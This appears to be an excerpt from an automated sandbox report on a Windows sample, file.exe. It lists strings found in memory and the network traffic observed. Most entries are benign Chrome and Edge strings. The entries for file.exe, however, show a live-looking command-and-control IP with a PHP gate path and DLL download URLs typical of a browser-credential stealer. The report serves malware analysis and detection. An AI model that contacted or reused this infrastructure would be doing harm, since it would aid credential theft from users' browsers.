Source: chrome.exe, 00000002.00000003.2241406514.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241955104.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241702150.00001224031B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2241406514.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241955104.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241702150.00001224031B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206)
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php024
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpE
Source: file.exe, 00000000.00000002.2580701195.0000000001402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpE?
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpK
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phph
Source: file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl6
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpnfigOverlay
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phppP
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllQwPl
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllyv8m
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllOwBl
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll6phm
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllwv
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll.
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll2
Source: file.exe, 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllng
Source: file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206HDH
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2362605801.00007BCC00378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
